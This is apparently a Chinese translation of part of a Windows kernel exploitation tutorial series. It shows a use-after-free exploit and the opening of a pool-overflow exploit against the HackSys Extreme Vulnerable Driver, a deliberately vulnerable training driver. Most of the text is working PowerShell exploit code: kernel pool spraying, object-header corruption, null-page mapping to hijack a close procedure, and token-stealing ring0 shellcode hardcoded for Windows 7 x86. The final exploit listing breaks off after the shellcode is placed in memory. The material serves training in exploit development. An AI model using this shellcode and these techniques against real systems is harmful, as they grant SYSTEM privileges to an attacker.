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这2500个0x60字节大小的空闲内存池块现在就处于一个可预测的位置，它们中的每一个都被两个已分配块所包围，阻止了他们的合并操作！

是时候把所有的过程整合在一起了。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);
 
    [DllImport("ntdll.dll", SetLastError = true)]
    public static extern int NtAllocateReserveObject(
        ref IntPtr hObject,
        UInt32  ObjectAttributes,
        UInt32 ObjectType);
   
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
 
function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
 
    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray2 += $Spray
    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
 
    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
        $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
        if ($CallResult -ne 0) {
            $FreeCount += 1
        }
    }
    echo "[+] Free'd $FreeCount IoCo objects!"
}
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
 
echo "`n[>] Staging vulnerability.."
# Allocate UAF Object
#---
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
echo "[+] Allocating UAF object"
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
# Free UAF Object
#---
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
echo "[+] Freeing UAF object"
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
# Fake Object allocation
#---
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
echo "[+] Spraying 5000 fake objects"
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60
for ($i=0;$i -lt 5000;$i++){
    [EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
}
 
# Trigger stale callback
#---
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
echo "`n[>] Triggering UAF vulnerability!`n"
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null


在UseUaFObject函数上下个断点，这里有回调函数的调用并执行到我们最终的POC。

游戏结束

真是好大一盘棋。为了武装我们的POC，我们需要替换回调函数指针成我们的shellcode地址。更多细节请参考下方完整的exp。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);
 
    [DllImport("ntdll.dll", SetLastError = true)]
    public static extern int NtAllocateReserveObject(
        ref IntPtr hObject,
        UInt32  ObjectAttributes,
        UInt32 ObjectType);
}
"@
 
function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
 
    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray2 += $Spray
    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
 
    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
        $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
        if ($CallResult -ne 0) {
            $FreeCount += 1
        }
    }
    echo "[+] Free'd $FreeCount IoCo objects!"
}
 
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)
  
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
 
echo "`n[>] Staging vulnerability.."
# Allocate UAF Object
#---
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
echo "[+] Allocating UAF object"
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
# Free UAF Object
#---
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
echo "[+] Freeing UAF object"
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
# Fake Object allocation
#---
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
echo "[+] Spraying 5000 fake objects"
$Buffer = $ShellcodePointer + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60
for ($i=0;$i -lt 5000;$i++){
    [EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
}
 
# Trigger stale callback
#---
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
echo "`n[>] Triggering UAF vulnerability!`n"
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
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  Welcome file
  





  第十六部分：内核利用程序之池溢出

fuzzySecurity于16年更新了数篇Windows内核exp的教程，本文是内核篇的第七篇。点击查看原文。


欢迎回到Windows exploit开发系列教程的第十六部分。今天我们将基于@HackSysTeam’s 的驱动漏洞来编写一个池溢出的exp。再一次，我强烈建议读者在阅读本文前，先费些心思回顾一下下面列出的资源列表，以及第十五部分池分配相关的背景知识。调试环境的搭建请参考第十部分。


	HackSysExtremeVulnerableDriver (@HackSysTeam) - here

	HackSysTeam-PSKernelPwn (@FuzzySec) - here

	Kernel Pool Exploitation on Windows 7 (@kernelpool) - here

	Understanding Pool Corruption Part 1 (MSDN) - here

	Understanding Pool Corruption Part 2 (MSDN) - here

	Understanding Pool Corruption Part 3 (MSDN) - here



侦查挑战

先看看本次有漏洞的函数(here)。

NTSTATUS TriggerPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    PVOID KernelBuffer = NULL;
    NTSTATUS Status = STATUS_SUCCESS;
 
    PAGED_CODE();
 
    __try {
        DbgPrint("[+] Allocating Pool chunk\n");
 
        // Allocate Pool chunk
        KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
                                             (SIZE_T)POOL_BUFFER_SIZE,
                                             (ULONG)POOL_TAG);
 
        if (!KernelBuffer) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
        }
 
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
 
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
 
#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
        // Hence, there will be no overflow
        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)BUFFER_SIZE);
#else
        DbgPrint("[+] Triggering Pool Overflow\n");
 
        // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
        // because the developer is passing the user supplied value directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of the allocated Pool chunk
        RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif
 
        if (KernelBuffer) {
            DbgPrint("[+] Freeing Pool chunk\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
 
            // Free the allocated Pool chunk
            ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
            KernelBuffer = NULL;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}


显而易见的bug！驱动分配了一个大小为X的池块并拷贝了用户提供的数据到其中，然而，他并没有检查用户提供的数据尺寸是否超过了内存分配的池块大小。这导致了一些额外的数据会溢出到非分页内存池中毗邻的池块。我建议你在IDA中进一步探索该函数，该函数的分配的池块大小以及池标签都可以在函数起始不远的位置看到。
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我们可以用下面的Powershell POC来调用该函数。注意到我们使用的是最大的可行尺寸，任何超出的数据都将溢出到下一个块。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern void DebugBreak();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F
#---
$Buffer = [Byte[]](0x41)*0x1F8
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200F"
[EVD]::DeviceIoControl($hDevice, 0x22200F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()
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如我们所见，分配的块大小为0x200，我们的缓冲区刚好停在了下一个毗邻块的头部位置。让我们再次尝试增大用户缓冲区8个字节来覆盖下一个块的头部。

$Buffer = [Byte[]](0x41)*0x1F8 + [Byte[]](0x42)*0x4 + [Byte[]](0x43)*0x4
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取决于内存池的状态和我们随机覆盖掉了某个块（本例中是二次释放(double free)），我们触发时会遇到各种各样的bug。任意一个都足以触发蓝屏，我们的exp相当粗糙！

Pwn

先简明扼要的给出一个全盘筹划总是好的。


	在可预测状态下掌控非分页内存池。

	触发一个可控的池溢出。

	利用池的内部来设置一个shellcode回调。

	释放被污染的池块以完成代码执行！



我强烈推荐你阅读Tarjei的paper并回顾本系列第十五部分的内容。这会帮助你解析重要的细节——我们的块风水是如何工作的。

在前面的文章中我们用IoCompletionReserve对象喷射了非分页内存池，其大小为0x60。但这一次，我们的目标对象是0x200大小因此我们需要喷射该尺寸的某种对象或者一个可以通过乘法达到该尺寸的对象。幸运的是，事件对象的尺寸是0x40，乘上8就是0x200。

下面的POC首先分配了10000个事件对象来填充非分页内存池的碎片，此后分配了5000个对象以达成可预测分配。注意我们转出了最后的10个对象句柄到标准输出，手动在WinDBG中触发了一个断点。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern int CreateEvent(
        IntPtr lpEventAttributes,
        Byte  bManualReset,
        Byte bInitialState,
        String lpName);
         
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern void DebugBreak();
}
"@
 
function Event-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray1 += $Spray
    echo "[+] $($Event_hArray1.Length) event objects created!"
 
    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray2 += $Spray
    echo "[+] $($Event_hArray2.Length) event objects created!"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
Event-PoolSpray
 
echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
    "{0:X}" -f $($($Event_hArray2[-$i]))
}
 
Start-Sleep -s 3
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()


你将看到类似这样的输出并在WinDBG中命中断点。
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观察我们转储到标准输出的一个句柄，我们可以看到连续的0x40字节的分配。
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为了使得内存池处在一个可信的状态，我们唯一能做的就是从第二次喷射的对象中释放0x200个字节的段。这将为我们的驱动对象挖坑备用。下面的POC展示了这一技术。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern int CreateEvent(
        IntPtr lpEventAttributes,
        Byte  bManualReset,
        Byte bInitialState,
        String lpName);
         
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern void DebugBreak();
}
"@
 
function Event-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray1 += $Spray
    echo "[+] $($Event_hArray1.Length) event objects created!"
 
    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray2 += $Spray
    echo "[+] $($Event_hArray2.Length) event objects created!"
 
    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($Event_hArray2.Length);$i+=16) {
        for ($j=0;$j -lt 8;$j++) {
            $CallResult = [EVD]::CloseHandle($Event_hArray2[$i+$j])
            if ($CallResult -ne 0) {
                $FreeCount += 1
            }
        }
    }
    echo "[+] Free'd $FreeCount event objects!"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
Event-PoolSpray
 
echo "`n[>] Last 16 object handles:"
for ($i=1;$i -lt 17; $i++) {
    "{0:X}" -f $($($Event_hArray2[-$i]))
}
 
Start-Sleep -s 3
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()


如前面所提到的，我们将利用“池内部构件”来达成代码执行。我们已经看过了如果对这些结构乱改一气就会导致BSOD，因此我们需要对池块的布局有一个深入的理解。

下面我们可以看到一个单一的事件对象的完整组件以及组成它的各种结构体。
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首先，这里有个WinDBG的bug，他不会真正关心块结构的阐释但却非常烦人。有人发现问题了吗？如果有人可以指出就给你发免费的蛋糕（撒个慌）！无论如何在后面执行溢出时，这3个头需要保持固定（按层级）。

注意到OBJECT_HEADER的TypeIndex为0xC大小，该值是一个指针数组的偏移量，它描述了该块的对象类型。我们可以这样查证。
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我们可以进一步通过事件对象指针来枚举OBJECT_TYPE。同样，注意到数组的第一个指针是空的(0x00000000)。
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重要的部分就是"OkayToCloseProcedure"的偏移。如果，当对象句柄被释放且块也被释放，该值不为空，内核会跳转到该地址来执行。也可以使用该结构的其他成员，比如"DeleteProcedure"。

问题在于我们要如何利用它？记住池块本身包含了TypeIndex值(0xC)，如果我们溢出该块并将该值修改为0x0的话，对象就会尝试在进程的零页上查找OBJECT_TYPE结构体。我们使用的环境是Win7，可以分配一个零页并创建一个伪造的"OkayToCloseProcedure"指针指向我们的shellcode。在释放了被污染的块时，内核就应该会执行到我们的代码了！

很好，我们就要解放了！我们已经控制了池分配并且知晓在0x200字节对象后我们有一个0x40字节的事件对象。我们可以用下面的buffer来精准的覆盖前面看到的三个块头结构。

$PoolHeader = [Byte[]] @(
    0x40, 0x00, 0x08, 0x04, # PrevSize,Size,Index,Type union (0x04080040)
    0x45, 0x76, 0x65, 0xee  # PoolTag -> Event (0xee657645)
)
 
$ObjectHeaderQuotaInfo = [Byte[]] @(
    0x00, 0x00, 0x00, 0x00, # PagedPoolCharge
    0x40, 0x00, 0x00, 0x00, # NonPagedPoolCharge (0x40)
    0x00, 0x00, 0x00, 0x00, # SecurityDescriptorCharge
    0x00, 0x00, 0x00, 0x00  # SecurityDescriptorQuotaBlock
)
 
# The object header is partially overwritten
$ObjectHeader = [Byte[]] @(
    0x01, 0x00, 0x00, 0x00, # PointerCount (0x1)
    0x01, 0x00, 0x00, 0x00, # HandleCount (0x1)
    0x00, 0x00, 0x00, 0x00, # Lock -> _EX_PUSH_LOCK
    0x00,                   # TypeIndex (Rewrite 0xC -> 0x0)
    0x00,                   # TraceFlags
    0x08,                   # InfoMask
    0x00                    # Flags
)
 
# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F
#---
$Buffer = [Byte[]](0x41)*0x1f8 + $PoolHeader + $ObjectHeaderQuotaInfo + $ObjectHeader


这里我们修改的唯一的值就是TypeIndex，我们从0xC修改成了0x0。我们可以通过下面的代码，精心构造一个伪造的"OkayToCloseProcedure"指针。

echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$AllocationSize = 120 # 0x78
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40)
if ($CallResult -ne 0) {
    echo "[!] Failed to allocate null-page..`n"
    Return
} else {
    echo "[+] Success"
}
echo "[+] Writing shellcode pointer to 0x00000074"
$OkayToCloseProcedure = [Byte[]](0x43)*0x4
[System.Runtime.InteropServices.Marshal]::Copy($OkayToCloseProcedure, 0, [IntPtr]0x74, $OkayToCloseProcedure.Length)


让我们在WinDBG中证实我们的理论。
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很棒，游戏基本通关了！再一次，火眼金睛的读者会注意到这个讨厌的WinDBG bug，就像前面那样。

像前面的文章一样，我们重用了shellcode，然而这其中有两个小技巧我留给勤勉的读者来找出！一个是和shellcode结尾相关，另一个和零页内存布局相关。

游戏结束

这就是所有的运行过程，更多细节请参考下面完整的exp。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern int CreateEvent(
        IntPtr lpEventAttributes,
        Byte  bManualReset,
        Byte bInitialState,
        String lpName);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);
 
    [DllImport("ntdll.dll")]
    public static extern uint NtAllocateVirtualMemory(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        uint ZeroBits,
        ref UInt32 AllocationSize,
        UInt32 AllocationType,
        UInt32 Protect);
}
"@
 
function Event-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray1 += $Spray
    echo "[+] $($Event_hArray1.Length) event objects created!"
 
    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray2 += $Spray
    echo "[+] $($Event_hArray2.Length) event objects created!"
 
    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($Event_hArray2.Length-500);$i+=16) {
        for ($j=0;$j -lt 8;$j++) {
            $CallResult = [EVD]::CloseHandle($Event_hArray2[$i+$j])
            if ($CallResult -ne 0) {
                $FreeCount += 1
            }
        }
    }
    echo "[+] Free'd $FreeCount event objects!"
}
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC2, 0x10, 0x00                    # ret 16
)
  
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"
 
